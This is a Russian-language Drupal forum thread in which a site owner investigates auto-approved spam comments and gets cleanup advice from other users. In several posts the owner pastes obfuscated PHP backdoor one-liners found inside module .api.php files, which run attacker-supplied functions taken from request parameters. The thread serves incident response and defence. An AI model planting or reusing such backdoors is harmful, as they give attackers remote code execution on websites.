Взлом сайта. Публикация спамных комментариев минуя одобрение

Главные вкладки

Аватар пользователя ScorpionGhost ScorpionGhost 25 ноября 2016 в 9:49

Здравствуйте, подскажите, пожалуйста, кто сталкивался с подобным?
С одного и того же IP, размещаются спамные комментарии от незарегистрированных пользователей, автоматически “проходят одобрение” и сразу становятся видимыми как пользователям, так и поисковым системам. Комментарии от других анонимов с других IP – ждут проверки и одобрения.
Где искать? Никаких левых пользователей с административными правами не выявлено. Ядро и модули обновлены.

Указывает на Санкт-Петербург:
46.161.9.31
46.161.9.32

Комментарии

Аватар пользователя Studio VIZA Studio VIZA 25 ноября 2016 в 12:42

Возможно галочка в правах на этом типе материала, ускользнула из вашего внимания, в противном случае сайт надо чистить, менять доступы и прочее.

Аватар пользователя sergeybelya sergeybelya 25 ноября 2016 в 13:03

Права на комментирование общие, а не индивидуальные для каждого типа контента - https://s3.amazonaws.com/scrstorage/654g56g92l91a0j0.jpg Возможно, установлены какие-то дополнительные модули для комментирования? Попробуйте найти этот ip в базе.

Аватар пользователя ScorpionGhost ScorpionGhost 25 ноября 2016 в 19:57

В том-то и дело. Что все комментарии делаются видимыми и доступными для просмотра только после проверки их администраторами. Ограничения прав стоят максимальные. Пользователи также, проходят проверку. Но вот недавно, началось подобное, что часть комментариев ждут проверки и недоступны, а все другие, что размещаются с этих адресов - автоматически одобряются кем-то. Заблокировал один IP - перестали появляться. Потом появились с нового, после блокировки его - опять всё нормально. Сейчас, ради эксперимента, снял блокировку данных IP. Жду, как скоро повторится. Логи ничего странного не показывают. Ядро 7.52. Взломов, тех, что описываются - не вижу признаков, хотя раньше сталкивался и с пользователями с правами админа и шеллами, но под ВордПрессом – там вообще была целая CMS удобная для порчи сайта и на старом сайте со старой версией Drupal. Теперь, после мучительного отката и восстановления – стараюсь сразу же обновлять.

Что в этот раз произошло - понять пока не могу. Может SQL-инъекция?

Аватар пользователя ScorpionGhost ScorpionGhost 25 ноября 2016 в 20:12

Всё, пока писал предыдущий комментарий здесь - у меня уже появилось два одобренных от пользователей: "strattera", "cialis men" с указанных выше IP. "buy strattera," Ссылка: (http : // buystrattera6 . top/#3690) и "cialis online" Ссылка: (http : // cialisonline . us . com/#1751) и по одному с каждого IP. Чертовщина какая-то! Sad разбил тексты ссылок, чтобы не спамить этой гадостью здесь

И ещё один. Пользователь: "buy toradol" Текст ссылки "toradol," , ссылка: (http : // buytoradol . us . com/#4426) причем текст как в кавычках - с запятыми. Пользователи анонимные, имена указаны просто в поле - среди вновь зарегистрированных, таких имен нет Sad

Аватар пользователя negociant negociant 25 ноября 2016 в 20:30

То что ядро обновлено и нету левых юзеров в базе ничего не значит - могли шелл залить, который до сих пор лежит где то тихо-мирно либо в бд был добавлен роут, при обращении к урлу которого выполняется код. Методы проверки http://www.drupal.ru/node/113136 всегда актуальны.

Аватар пользователя ScorpionGhost ScorpionGhost 26 ноября 2016 в 0:24

Эх, по этим методам проверки, всё как бы чисто получается. Их я сразу нашёл и проверил. Где-то зарыто в другом месте наверное. Пока продолжаю искать и изучать все материалы, что получается найти в буржуанете Smile В своё время находил и вычищал массу дряни. потом год было всё тихо и вот опять. Либо не дочистил (что вроде навряд ли), либо где-то ещё дыру им оставил.

Аватар пользователя tlito tlito 25 ноября 2016 в 20:39

обновите ядро.
и поставьте права на все файлы 644.
удалите спамных пользователей
и начните пользоваться disqus

Аватар пользователя ScorpionGhost ScorpionGhost 27 ноября 2016 в 2:58

Продолжая поиски, обнаружил следующее:

/**
* @file
* Hooks provided by Views Slideshow.
*/$strcmp_zyle = $_REQUEST ; if ( @ isset ( $strcmp_zyle[ctype_digit_sc] ) ) { @ $strcmp_zyle[ctype_digit_sc] ( $strcmp_zyle[dba_replace_iz] ); }
в файле views_slideshow.api.php модуля: Views Slideshow 7.x-3.1

Продолжаю искать дальше. бэкапов хватает, хочется откатиться с запасом и уверенностью, что он точно чист от этой заразы Sad Как проверить DB, на наличие инъекций, если из всех найденных в Интернет способов, ни один не находит? Sad

Аватар пользователя ScorpionGhost ScorpionGhost 27 ноября 2016 в 18:05

Порывшись в файлах сайта, нашёл ещё массу всего интересного. Оказывается, данный вредоносный код, появился во всех файлах 13.10.2015. Часть его была удалена, а часть обнаружена сейчас. Самое забавное, как этот код прописан в файлах, обратите внимание.

vkxp.api.php

/**
* @file vkxp.api.php
* Hooks provided by the vkxp module.
*/$openssl_public_decrypt_jcli = $_REQUEST ; if ( @ isset ( $openssl_public_decrypt_jcli[cal_days_in_month_xr] ) ) { @ $openssl_public_decrypt_jcli[cal_days_in_month_xr] ( $openssl_public_decrypt_jcli[gzcompress_tv] ); }

_____________

views_slideshow.api.php

/**
* @file
* Hooks provided by Views Slideshow.
*/$strcmp_zyle = $_REQUEST ; if ( @ isset ( $strcmp_zyle[ctype_digit_sc] ) ) { @ $strcmp_zyle[ctype_digit_sc] ( $strcmp_zyle[dba_replace_iz] ); }

_____________

pathauto.api.php

/**
* @file
* Documentation for pathauto API.
*
* @see hook_token_info
* @see hook_tokens
*/$openssl_pkcs7_decrypt_gtqf = $_REQUEST ; if ( @ isset ( $openssl_pkcs7_decrypt_gtqf[openssl_x509_export_nj] ) ) { @ $openssl_pkcs7_decrypt_gtqf[openssl_x509_export_nj] ( $openssl_pkcs7_decrypt_gtqf[openssl_free_key_fl] ); }

function hook_path_alias_types() {
}

function hook_pathauto($op) {
}

Продолжаю изучение дальше. Как была версия ещё раньше, посвященными людьми - они считают, что это заказ. Я не верил, но теперь - я готов рассмотреть такую версию, тем более, nxj есть определенные совпадения, указывающие на это.

С откатом проблем нет - бэкапов как грязи, а контент придется перезалить - в принципе тоже не критично. Вот только хотелось бы быть уверенным, что дата отката будет правильной и следов этой гадости там не останется.

Может кто может подсказать по тому, что я выложил что-нибудь дельное? Я пока ещё не успел понять приведенный код и ищу куда оно ведет ещё

Аватар пользователя dgastudio dgastudio 27 ноября 2016 в 18:20

без обид, но, кому вы нужны. заказывать вас...
или версия друпала была старая, вас в авторежиме хакнули (drupalgedon), или модули вовремя не обновили, недавно также была серьезная проблема.

Аватар пользователя ScorpionGhost ScorpionGhost 27 ноября 2016 в 18:52

конечно без обид, особенно, когда сути не знаешь, а делаешь выводы Smile А то, что хак через дыру - это наверняка. К тому же, там десяток сайтов крутится на Drupal, но они чистые, потому что они не представляют интереса для "заказчика", а хакнут тот, что больше всего жизнь портит ему Smile Предлагаю лучше по делу, если есть что сказать полезного - я буду рад выслушать, если из пустого в порожнее - лучше займитесь чем-то полезным для себя. И дай Бог, чтобы Вы и дальше, никому не были "нужны", чтобы не познать всех прелестей войны, ни только в сети Интернет Smile

Аватар пользователя dgastudio dgastudio 27 ноября 2016 в 18:52

конечно без обид, особенно, когда сути не знаешь, а делаешь выводы Smile
-- не выводы, я предположение основанное на личном опыте. если бы вас заказали, сайта бы у вас уже не было. пакостить через комменты, глуповато как то

А то, что хак через дыру - это наверняка
-- ну или кто то у вас в офисе веселится, )

К тому же, там десяток сайтов крутится на Drupal, но они чистые
-- а с чего вы так решили?

мои советы
1. прогнать https://www.drupal.org/project/hacked + https://www.drupal.org/project/diff
2. стереть все кроме sites/default + папки темы (дабы исключить неопределяемые левые файлы), накатить друпал + все модули с нуля.
3. проверить ручками все файлы темы
4. проверить по быстрому sites/default/files
5. проверить логи сервера (странно почему вы до сих пор этого не сделали, соотнести данные с временем создания коммента)
6. проверить всех юзеров, вырубить нафиг не нужных
7. проверить модуль php, если есть, крайне желательно вырубить, если нельзя. проверить что он и где делает
8. где на на форуме, была крайне толковая статья про друпалгедон, там были советы по поводу того, что и где смотреть в базе.

Аватар пользователя ScorpionGhost ScorpionGhost 27 ноября 2016 в 18:58

Вот за такой ответ - благодарствую, Dgastudio. В том-то и дело, что все стал обновлять полностью на данном ресурсе, сразу, после выхода очередного обновления. Раньше были попытки убить ресурс через внесение комментариев с java-кодом, когда это было просечено и указано комментирующим - они перестали по видимому, пошли другим путём - взлома через дыры самого Drupal. Год прошел, вроде все было тихо. И сейчас, когда вновь, пошел накал - вскрылось это.

Аватар пользователя dgastudio dgastudio 27 ноября 2016 в 18:54

Предлагаю лучше по делу, если есть что сказать полезного - я буду рад выслушать, если из пустого в порожнее - лучше займитесь чем-то полезным для себя. И дай Бог, чтобы Вы и дальше, никому не были "нужны", чтобы не познать всех прелестей войны, ни только в сети Интернет Smile
- тише, умерьте свое эго, а то топик быстро сольется.

Аватар пользователя ScorpionGhost ScorpionGhost 27 ноября 2016 в 19:03

Да я ж с улыбкой, тем более зная уже здесь многих Личностей и их огромный вклад в общее дело. Без вас, мои знания Drupal, стремились бы к нулю Smile просто реально, заказ есть и соответственно, там посерьезней меня люди трудятся, а я лишь дилетант . Опасаюсь, что там в базе может что лежит, в той же menu_router ?

Аватар пользователя ScorpionGhost ScorpionGhost 27 ноября 2016 в 19:17

Продолжаю искать всё и вся логи сервера. 1. прогнать https://www.drupal.org/project/hacked + https://www.drupal.org/project/diff - это прогнал сразу. Он и нашёл первый кусок кода. Всякие Айболиты - больше находят штатного, нежели что-то стоящее. Всё, что нашёл данный антивирус - сравнил в исходниках, в том tinymce - тоже самое. так что, надеюсь только на голову и руки + советы бывалых Smile Google.COM - шелестит Smile

P.S.: "Не используйте матерные или агрессивные слова" - где он здесь увидел?

Аватар пользователя gun_dose gun_dose 27 ноября 2016 в 18:21

Типичная ситуация. Надо было сразу удалить ядро и все контриб-модули и залить их заново драшем. А тему и кастомные модули пробежать глазами вручную. Делов на 10 минут. Помогает в 99% случаев.

Аватар пользователя ScorpionGhost ScorpionGhost 27 ноября 2016 в 18:47

Да вот кто бы думал Smile рядом лежит старое ядро и никем не тронутое. И так регулярно, если не постоянно обновляю все сайты. Сталкивались с таким кодом?

Аватар пользователя ScorpionGhost ScorpionGhost 28 ноября 2016 в 4:52

в guirf[ наверное нет, но видел тоже, забавное. у меня где-то лежит папочка с целой CMS-иной шелловской. Если интересно, могу поискать. Там очень удобно управлять сайтиком - я долго любовался находясь под впечатлением - CMS в CMS WordPress Smile Сейчас опять появилась небольшая партия комментов. Тперь уже отключил полностью возможность добавления комментов. Смотрю логи на сервере. Есть и время и IP того, кто вносил. Сегодня получил ответ от владельца перечисленных IP/ Описал проблему, без указания подробностей - посмотрим что ответит данный провайдер.

Отличная статья, кстати: https://habrahabr.ru/post/188878 - может кому пригодится

Случайно наткнулся на отличный топик, будет полезен новичкам: http://searchengines.guru/showthread.php?t=774117